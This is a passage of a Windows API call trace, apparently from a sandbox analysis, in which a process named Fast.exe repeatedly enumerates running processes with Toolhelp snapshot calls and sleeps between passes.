th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0255.524] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0255.525] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0255.526] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0255.527] CloseHandle (hObject=0x1e0) returned 1 [0255.527] Sleep (dwMilliseconds=0x1f4) [0256.839] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0256.844] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.845] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0256.845] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0256.846] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0256.848] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0256.849] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0256.849] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0256.850] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0256.851] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0256.852] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0256.853] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.854] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.855] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.856] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.857] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.857] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0256.858] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.859] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.860] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0256.861] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.862] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0256.864] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0256.864] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0256.865] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0256.866] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0256.867] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0256.868] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0256.869] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0256.870] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0256.871] CloseHandle (hObject=0x1e0) returned 1 [0256.871] Sleep (dwMilliseconds=0x1f4) [0257.611] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0257.614] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.615] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0257.616] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0257.617] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0257.618] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0257.619] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0257.619] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0257.620] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0257.621] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0257.621] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0257.622] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.623] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.624] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.625] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.626] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.626] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0257.628] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.629] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.630] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0257.631] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.631] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0257.632] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0257.633] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0257.634] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0257.635] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0257.636] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0257.637] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0257.638] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0257.638] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0257.639] CloseHandle (hObject=0x1e0) returned 1 [0257.640] Sleep (dwMilliseconds=0x1f4) [0258.454] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0258.458] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.459] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0258.460] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0258.461] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0258.462] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0258.463] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0258.463] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0258.464] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0258.465] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0258.466] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0258.467] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.468] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.469] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.470] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.471] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.472] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0258.473] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.474] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.475] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0258.476] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.477] Process32NextW (in: hSnapshot=0x1e0, 